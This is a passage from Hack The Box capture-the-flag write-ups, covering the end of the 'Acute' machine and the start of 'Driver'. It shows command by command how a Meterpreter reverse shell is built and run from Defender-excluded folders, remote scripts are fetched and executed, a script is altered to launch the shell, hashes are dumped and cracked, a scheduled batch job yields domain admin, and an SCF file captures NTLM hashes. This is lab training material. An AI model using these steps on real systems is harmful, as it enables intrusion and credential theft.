As you can see, port 445 is open. We can run powershell script to get to know open ports on gateway IP address.

 - [Minimalistic-offensive-security-tools](https://github.com/InfosecMatter/Minimalistic-offensive-security-tools)

``` bash
python2 -m SimpleHTTPServer 80

IEX(New-Object Net.Webclient).downloadstring('http://10.10.14.30/port-scan-tcp.ps1')
```

IEX will download and execute the script. If you try to download it and execute manually using curl or method then it will not work. Now run below command to start finding open ports on that IP address.

``` bash
1..1024 | foreach { port-scan-tcp 172.16.22.1 $_ } > ports_open_gateway
```

After couple minutes we can check the open ports dumped into that file.

``` bash
Get-Content .\ports_open_gateway
```

Looks like this IP is Domain Controller, as it is running Kerberos and LDAP. Let’s get a real shell by uploading our reverse shell executable. If we try to run executable from either home directory or programdata, it gives us error message.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/acute]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.30 LPORT=9001 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe
```

Antivirus is running, probably defender. So, we can query the registry to find whitelisted paths.

``` bash
PS C:\Users\edavies\Documents> 

reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"

 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths

    C:\Utils    REG_DWORD    0x0

    C:\Windows\System32    REG_DWORD    0x0
```

As you can see, there are two folders which are whitelisted. We can use ‘utils’ directory to execute our payloads. Let’s download our executable there and run it.

``` bash
curl 10.10.14.30/reverse.exe -o reverse.exe
.\reverse.exe
```

``` bash
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.30:9001 
[*] Sending stage (200262 bytes) to 10.10.11.145
[*] Meterpreter session 1 opened (10.10.14.30:9001 -> 10.10.11.145:49778 ) at 2022-02-16 12:14:39 -0500

meterpreter > getuid
Server username: ACUTE\edavies
```

Alright, we have working shell now. Let’s switch to powershell and enumerate.

``` bash
PS C:\utils> net user edavies /domain
The request will be processed at a domain controller for domain acute.local.
System error 1722 has occurred.
The RPC server is unavailable.
```

If we try to query the domain, we’d get this above error. So, we can’t query domain for anything. Let’s run ‘WinPeas’ application and find LPE paths.

``` bash
RDP Sessions
SessID pSessionName pUserName pDomainName State
SourceIP
1 Console edavies ACUTE Active
```

WinPeas gives us this information. RDP session is running on the machine and logged in as ‘Edavies’ user. If it is RDP then its GUI not cmd line. We have to see what’s happening on the box.

We have access ‘edavies’ user. Now we can check what’s happening on that RDP.

``` bash
meterpreter > screenshare -q 100
[*] Preparing player...
[*] Opening player at: /root/hackthebox/machine/acute/TPORyMMW.html
[*] Streaming...
```

It started streaming the GUI. We need to access it via browser by visiting that player path.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2151.jpg)

After waiting for couple minutes, a powershell window pops up and starts running powershell commands.

``` bash
screenshare -q 100 -d 5000
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2152.jpg)

As you can see based on executing commands, it is trying to start a new powershell session with an user (imonks) password and it is also using a configuration to access the session.

``` bash
$pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $pass)
Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage -credential $cred
```

The above command is being executed. We could have used that password to login via RDP, but RDP is not enabled on main host (not hyper-v). We have to use this technique only.

``` bash
PS C:\utils> $pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlaintext -Force
PS C:\utils> $cred = New-Object System.Management.Automation.PSCredential
("acute\imonks", $pass)
PS C:\utils> Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage -
credential $cred
Enter-PSSession : The term 'Measure-Object' is not recognized as the name of a cmdlet,
function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify
that the path is correct and try
again.
At line:1 char:1
+ Enter-PSSession -computername ATSSERVER -ConfigurationName dc_manage ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (Measure-Object:String) [Enter-
PSSession], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
```

As you can see it is giving us the same error as RDP screenshot. It’s not able to find ‘Measure-Object’ cmdlet is not recognized by the powershell.

``` bash
PS C:\utils> get-command | select-string 'Measure-Object'
Measure-Object
```

It is available to ‘Edavie’ user but not to ‘imonks’ user. However, the credentials are not wrong. We can try to invoke-command to execute windows commands.

``` bash
PS C:\utils> Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -
credential $cred -command {whoami}
acute\imonks
```

As you can see, we can able to run windows commands from ‘imonks’ context. We can read user flag via this technique.

Let’s go one step back and read the flag.

``` bash
PS C:\Users\edavies\Documents> 

$SecPassword = ConvertTo-SecureString 'W3_4R3_th3_f0rce.' -AsPlainText -Force

PS C:\Users\edavies\Documents> 

$Cred = New-Object System.Management.Automation.PSCredential('acute\imonks', $SecPassword)

PS C:\Users\edavies\Documents> 

Invoke-Command atsserver -ConfigurationName dc_manage -Credential $Cred -scriptblock { cat c:\users\imonks\Desktop\user

.txt }

664cb31a110ae58cc8cc164846f951c8
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2153.jpg)

From ‘imon’ users context we can only run these below powershell commands.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command}

 

CommandType     Name                                               Version    Source               PSComputerName      

-----------     ----                                               -------    ------               --------------      

Cmdlet          Get-Alias                                          3.1.0.0    Microsoft.PowerSh... ATSSERVER           

Cmdlet          Get-ChildItem                                      3.1.0.0    Microsoft.PowerSh... ATSSERVER           

Cmdlet          Get-Command                                        3.0.0.0    Microsoft.PowerSh... ATSSERVER           

Cmdlet          Get-Content                                        3.1.0.0    Microsoft.PowerSh... ATSSERVER           

Cmdlet          Get-Location                                       3.1.0.0    Microsoft.PowerSh... ATSSERVER           

Cmdlet          Set-Content                                        3.1.0.0    Microsoft.PowerSh... ATSSERVER           

Cmdlet          Set-Location                                       3.1.0.0    Microsoft.PowerSh... ATSSERVER           

Cmdlet          Write-Output                                       3.1.0.0    Microsoft.PowerSh... ATSSERVER           
```

Let’s query domain to get more info on ‘imonks’ user.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user imonks /do

main}

User name                    imonks

Full Name                    Ieuan Monks

Comment                      

User's comment               

Country/region code          000 (System Default)

Account active               Yes

Account expires              Never

 

Password last set            21/12/2021 14:51:31

Password expires             Never

Password changeable          22/12/2021 14:51:31

Password required            Yes

User may change password     No

 

Workstations allowed         All

Logon script                 

User profile                 

Home directory               

Last logon                   16/02/2022 17:47:45

 

Logon hours allowed          All

 

Local Group Memberships      

Global Group memberships     *Domain Users         *Managers             

The command completed successfully.
```

‘imonks’ user is member of ‘Manger’ group. Let’s find who else is member of manager group.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user awallace /

domain}

User name                    awallace

Full Name                    Aileen Wallace

Comment                      

User's comment               

Country/region code          000 (System Default)

Account active               Yes

Account expires              Never

 

Password last set            21/12/2021 14:50:36

Password expires             Never

Password changeable          22/12/2021 14:50:36

Password required            Yes

User may change password     No

 

Workstations allowed         All

Logon script                 

User profile                 

Home directory               

Last logon                   23/12/2021 09:15:29

 

Logon hours allowed          All

 

Local Group Memberships      

Global Group memberships     *Domain Users         *Managers             

The command completed successfully.
```

User ‘awallace’ is member of manager group. To enumerate AD we need imonks shell access. We can’t execute any useful commands which can help to us to run our executable files.

Let’s look for any files on the server.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {ls 'c:\program files'}

 

 

    Directory: C:\program files

 

 

Mode                 LastWriteTime         Length Name                               PSComputerName                    

----                 -------------         ------ ----                               --------------                    

d-----        12/21/2021  12:04 AM                common files                       ATSSERVER                         

d-----        12/21/2021  12:11 AM                Hyper-V                            ATSSERVER                         

d-----         9/15/2018   8:12 AM                internet explorer                  ATSSERVER                         

d-----          2/1/2022   7:41 PM                keepmeon                           ATSSERVER                         

d-----        12/21/2021  12:04 AM                VMware                             ATSSERVER                         

d-----        12/20/2021   9:19 PM                Windows Defender                   ATSSERVER                         

d-----        12/20/2021   9:12 PM                Windows Defender Advanced Threat   ATSSERVER                         

                                                  Protection                                                           

d-----        12/21/2021   2:13 PM                WindowsPowerShell                  ATSSERVER                         
```

On C drive, we have an unusual file, let’s try to access it.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {ls 'c:\program files\ke

epmeon'}

Access to the path 'C:\program files\keepmeon' is denied.

    + CategoryInfo          : PermissionDenied: (C:\program files\keepmeon:String) [Get-ChildItem], UnauthorizedAccess 

   Exception

    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

    + PSComputerName        : ATSSERVER
```

Access denied. If we check the ‘imonks’ desktop, we will find a powershell script.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {ls ../desktop}

 

 

    Directory: C:\Users\imonks\desktop

 

 

Mode                 LastWriteTime         Length Name                               PSComputerName                    

----                 -------------         ------ ----                               --------------                    

-ar---         2/16/2022   5:40 PM             34 user.txt                           ATSSERVER                         

-a----         1/11/2022   6:04 PM            602 wm.ps1                             ATSSERVER                         
```

Let’s read the contents of that script.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {cat ../desktop/wm.p

s1}

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003

660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f672

80000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a

2ca854bc6e453c51'

$passwd = $securepasswd | ConvertTo-SecureString

$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)

Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
```

If we execute this script, then it sets a secure password, and execute ‘Get-Volume’ from ‘jmorgan’ users context. We have to edit it script and modify the invoke command.

``` bash
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock{((cat "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c c:\utils\reverse.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1} -credential $cred
```

This command will replace the Get-Volume string with cmd.exe /c c:\utils\msf.exe We already have reverse.exe in utils directory. So upon execution we get the reverse connection on metasploit. Let's read the contents of file to make sure our cmd is good to go.

``` bash
PS C:\utils> 

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock{cat c:\users\imonks\

Desktop\wm.ps1}

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003

660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f672

80000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a

2ca854bc6e453c51'

$passwd = $securepasswd | ConvertTo-SecureString

$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)

Invoke-Command -ScriptBlock {cmd.exe /c c:\utils\reverse.exe} -ComputerName Acute-PC01 -Credential $creds
```

Everything looks good. Now setup a msf listener and run the below cmd to execute the script.

``` bash
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock{C:\Users\imonks\Desktop\wm.ps1}
```

Now check the msf listener for reverse connection.

``` bash
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.30:9001 
[*] Sending stage (200262 bytes) to 10.10.11.145
[*] Meterpreter session 1 opened (10.10.14.30:9001 -> 10.10.11.145:49781 ) at 2022-02-16 13:04:30 -0500

meterpreter > getuid
Server username: ACUTE\jmorgan
```

We are ‘jmorgan’ now. Let’s enumerate now this user.

``` bash
C:\Users\jmorgan\Documents>whoami /groups
whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes                                                     
========================================== ================ ============ ===============================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group             
BUILTIN\Administrators                     Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group             
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group             
Mandatory Label\High Mandatory Level       Label            S-1-16-12288
```

‘jmorgan’ is member of Administrator. We can just elevate our privs to system.

``` bash
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

We may have pwned the admin, but it is not the actual host, but Hyper-V. You can confirm by running ipconfig.

``` bash
meterpreter > ifconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 14
============
Name         : Microsoft Hyper-V Network Adapter #2
Hardware MAC : 00:15:5d:e8:0a:01
MTU          : 1500
IPv4 Address : 172.16.22.2
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::9513:4361:23ec:64fd
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Dump the hash.

``` bash
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
```

Crack the hash.

``` bash
hashcat.exe -m 1000 password.txt rockyou.txt

a29f7623fd11550def0192de9246f46b:Password@123

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: a29f7623fd11550def0192de9246f46b
Time.Started.....: Thu Feb 17 02:09:30 2022 (1 sec)
Time.Estimated...: Thu Feb 17 02:09:31 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 59379.6 kH/s (4.14ms) @ Accel:2048 Loops:1 Thr:32 Vec:1
Speed.#3.........:  7827.3 kH/s (14.12ms) @ Accel:128 Loops:1 Thr:64 Vec:1
Speed.#*.........: 67206.9 kH/s
Recovered........: 1/1 (100.00%) Digests
Progress.........: 3407872/14344385 (23.76%)
Rejected.........: 0/3407872 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: rebel91 -> tabbarano666
Candidates.#3....: tabbamarie -> sn78726
Hardware.Mon.#1..: Temp: 57c Util: 37% Core: 571MHz Mem:2304MHz Bus:8
Hardware.Mon.#3..: N/A

Started: Thu Feb 17 02:09:11 2022
Stopped: Thu Feb 17 02:09:32 2022
```

We got the password. For a hard machine this password is quite weak. I tried to use this password to get hold of ATSSERVER (host), but can’t able to do that. However, we still have access ‘edavies’ shell. We can try to run commands from a different users perspective. Previously we queried the domain to find member of manager group, there was one user awallace , let's try to use this password from this users context.

Make sure you are running the next command from ‘edavies’ user shell.

``` bash
PS C:\utils> whoami
acute\edavies
PS C:\Users\edavies\Documents> 

$password = ConvertTo-SecureString "Password@123" -AsPlainText -Force

PS C:\Users\edavies\Documents> 

$cred = New-Object System.Management.Automation.PSCredential("Acute\AWallace",$password)

PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {whoami}

acute\awallace
```

It worked, now we can run commands from awallace user's context. There's nothing much available on user directory, however, previously we checked some weird directory in C drive, let's see if we can access that with this users permission.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {ls 'c:\program files\ke

epmeon'}

 

 

    Directory: C:\program files\keepmeon

 

 

Mode                 LastWriteTime         Length Name                               PSComputerName                    

----                 -------------         ------ ----                               --------------                    

-a----        12/21/2021   2:57 PM            128 keepmeon.bat                       ATSSERVER                         
```

We can access this directory. Lets read that batch file.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {cat 'c:\program files\k

eepmeon\keepmeon.bat'}

REM This is run every 5 minutes. For Lois use ONLY

@echo off

 for /R %%x in (*.bat) do (

 if not "%%x" == "%~0" call "%%x"

)
```

This looks like a schedule script, it runs this batch file every five minutes and checks for any .bat files in the parent directory and if there’s a .bat file then it executes it. The main thing/information is that the script is for only lois user and we already know that, lois is the only user who can change group membership. This is from DOCX file.

So, we can create a batch file which gives ‘awallace’ user administrator privileges of ‘site admin’ group.

``` bash
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\admin.bat' -Value 'net group site_admin awallace /add /domain'}
```

Check file has been created or not.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {ls 'c:\program file

s\Keepmeon\'}

 

 

    Directory: C:\program files\Keepmeon

 

 

Mode                 LastWriteTime         Length Name                               PSComputerName                    

----                 -------------         ------ ----                               --------------                    

-a----         2/16/2022   6:17 PM             44 admin.bat                          ATSSERVER                         

-a----        12/21/2021   2:57 PM            128 keepmeon.bat                       ATSSERVER                         
```

Check the contents of file too.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {cat 'c:\program fil

es\Keepmeon\admin.bat'}

net group site_admin awallace /add /domain
```

Now we need to wait for five minutes to run that schedule job to execute our batch file. Check the whether you added to site_admin group or not.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -Command {whoami /groups}

 

GROUP INFORMATION

-----------------

 

Group Name                                   Type             SID                                            Attributes

                                                     

============================================ ================ ============================================== ==========

=====================================================

Everyone                                     Well-known group S-1-1-0                                        Mandatory 

group, Enabled by default, Enabled group             

BUILTIN\Users                                Alias            S-1-5-32-545                                   Mandatory 

group, Enabled by default, Enabled group             

BUILTIN\Pre-Windows 2000 Compatible Access   Alias            S-1-5-32-554                                   Mandatory 

group, Enabled by default, Enabled group             

BUILTIN\Certificate Service DCOM Access      Alias            S-1-5-32-574                                   Mandatory 

group, Enabled by default, Enabled group             

BUILTIN\Administrators                       Alias            S-1-5-32-544                                   Mandatory 

group, Enabled by default, Enabled group, Group owner

NT AUTHORITY\NETWORK                         Well-known group S-1-5-2                                        Mandatory 

group, Enabled by default, Enabled group             

NT AUTHORITY\Authenticated Users             Well-known group S-1-5-11                                       Mandatory 

group, Enabled by default, Enabled group             

NT AUTHORITY\This Organization               Well-known group S-1-5-15                                       Mandatory 

group, Enabled by default, Enabled group             

ACUTE\Domain Admins                          Group            S-1-5-21-1786406921-1914792807-2072761762-512  Mandatory 

group, Enabled by default, Enabled group             

ACUTE\Managers                               Group            S-1-5-21-1786406921-1914792807-2072761762-1111 Mandatory 

group, Enabled by default, Enabled group             

ACUTE\Site_Admin                             Group            S-1-5-21-1786406921-1914792807-2072761762-2102 Mandatory 

group, Enabled by default, Enabled group             

Authentication authority asserted identity   Well-known group S-1-18-1                                       Mandatory 

group, Enabled by default, Enabled group             

ACUTE\Denied RODC Password Replication Group Alias            S-1-5-21-1786406921-1914792807-2072761762-572  Mandatory 

group, Enabled by default, Enabled group, Local Group

Mandatory Label\High Mandatory Level         Label            S-1-16-12288                                             
```

We are domain admin now. Let’s read the final flag from administrators directory.

``` bash
PS C:\Users\edavies\Documents> 

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {cat 'c:\users\admin

istrator\desktop\root.txt'}

b26f815db56b906b843f44f5b0b80555
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2154.jpg)

#### Summary of knowledge

 - information gathering by using exiftool
 - windows powershell user privileage enum
 - powershell port scan using port-scan-tcp.ps1
 - msf get screen shots
 - invoke-command to execute windows commands
 - msf getsystem
 - hashcat crack ntlm hash
 - add user to domain group to privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end acute -->

</details>

<a id="case-driver"></a>

## SCF 认证请求与打印服务

上传的 SCF 文件触发 NetNTLMv2 认证，再结合原口令恢复和 PrintNightmare 本地提权。认证捕获与执行阶段各有原始证据。

<p class="kb-provenance">来源 driver · 原记录 2021-10-03 · 10 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-driver">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start driver -->

#### introduce

OS: Windows
Difficulty: Easy
Points:	20
Release:	02 Oct 2021
IP:	10.10.11.106

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2084.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### Nmap

``` bash
┌──(root💀kali)-[~/hackthebox/machine/driver]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.106
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
```

#### web

we are greeted with a pop up for login and admin/admin got me it.

so over here it seems like we can upload a malicious firmware and get rev shell

so after looking for exploits I could not get any but the thing was, it was probably saving the files in the smb share of windows.

So here we are having remote file upload and we can then perform SMB Exploit via NTLM Capture

 - [SMB Penetration Testing Port 445](https://www.hackingarticles.in/smb-penetration-testing-port-445/)

 - [SMB - SCF File Attacks - NetNTLMv2 hash grab](https://sql--injection.blogspot.com/p/smb.html)

crate file @shell.scf

``` bash
[Shell]
Command=2
IconFile=\\10.10.14.18\share\test.ico
[Taskbar]
Command=ToggleDesktop
```

start responder and

``` bash
responder -wrf --lm -v -I tun0
```

upload the file via website

wait and get the hash

``` bash
┌──(root💀kali)-[~/hackthebox/machine/driver]
└─# responder -wrf --lm -v -I tun0                                                                                                
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.0.6.0

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [ON]
    Fingerprint hosts          [ON]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.18]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-M7QNFNTIUS5]
    Responder Domain Name      [DF9J.LOCAL]
    Responder DCE-RPC Port     [46013]

[+] Listening for events...                                                                                                       

[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:5d8b8082ef776c2f:A4327A2CB72A96CEEF1D04DB2636CFD0:010100000000000003D6341085B8D7014158EED0F177C50C00000000020000000000000000000000                                                                                             
[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:d749730738bd8506:D1A35D9A4D7ABF916EECA6D6DE25B8A2:01010000000000003E05281185B8D7012A802D00F1FA40CD00000000020000000000000000000000                                                                                             
[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:bd3860c306965ce9:1A699EF18915FF2D76CB965CB4F7E914:0101000000000000511B141285B8D7013F3164731463EC4A00000000020000000000000000000000                                                                                             
[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:c92c9da2314211e4:DCA91CAF8B4ADFB918B987CA6226FD6A:0101000000000000FF16001385B8D70184E50D8129DC7EE500000000020000000000000000000000                                                                                             
[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:352a6a321addb118:B201C24A20A2010D1B280F4EC2A6380A:01010000000000003CBDE91385B8D7017D6ACD474960E4F800000000020000000000000000000000                                                                                             
[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:7e2adbd91e974841:6E1A74933AE2E19D06C8C03F61D44A89:0101000000000000836BD31485B8D70118B057D21124042400000000020000000000000000000000                                                                                             
[SMB] NTLMv2 Client   : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash     : tony::DRIVER:9d11f8dc195ba210:633773D52C813CC8C252F5F100B67287:0101000000000000340ABD1585B8D701B38BD32127FADDD500000000020000000000000000000000
```

hashcat id: 5600

``` bash
tony::DRIVER:5d8b8082ef776c2f:A4327A2CB72A96CEEF1D04DB2636CFD0:010100000000000003D6341085B8D7014158EED0F177C50C00000000020000000000000000000000
```

cracked

``` bash
hashcat64.exe -a 0 -m 5600 password.txt rockyou.txt

TONY::DRIVER:5d8b8082ef776c2f:a4327a2cb72a96ceef1d04db2636cfd0:010100000000000003d6341085b8d7014158eed0f177c50c00000000020000000000000000000000:liltony

Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
Hash.Target......: TONY::DRIVER:5d8b8082ef776c2f:a4327a2cb72a96ceef1d0...000000
Time.Started.....: Sun Oct 03 19:56:45 2021 (1 sec)
Time.Estimated...: Sun Oct 03 19:56:46 2021 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#2.........: 31819.1 kH/s (6.38ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 1048576/14344360 (7.31%)
Rejected.........: 0/1048576 (0.00%)
Restore.Point....: 0/14344360 (0.00%)
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#2....: 123456 -> Leslie08
Hardware.Mon.#2..: Temp: 49c Util:  6% Core:1632MHz Mem:3802MHz Bus:16

Started: Sun Oct 03 19:56:42 2021
Stopped: Sun Oct 03 19:56:48 2021
```

tony/liltony

use evil-winrm to login

``` bash
┌──(root💀kali)-[~/hackthebox/machine/driver]
└─# evil-winrm -i 10.10.11.106 -u tony -p liltony

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

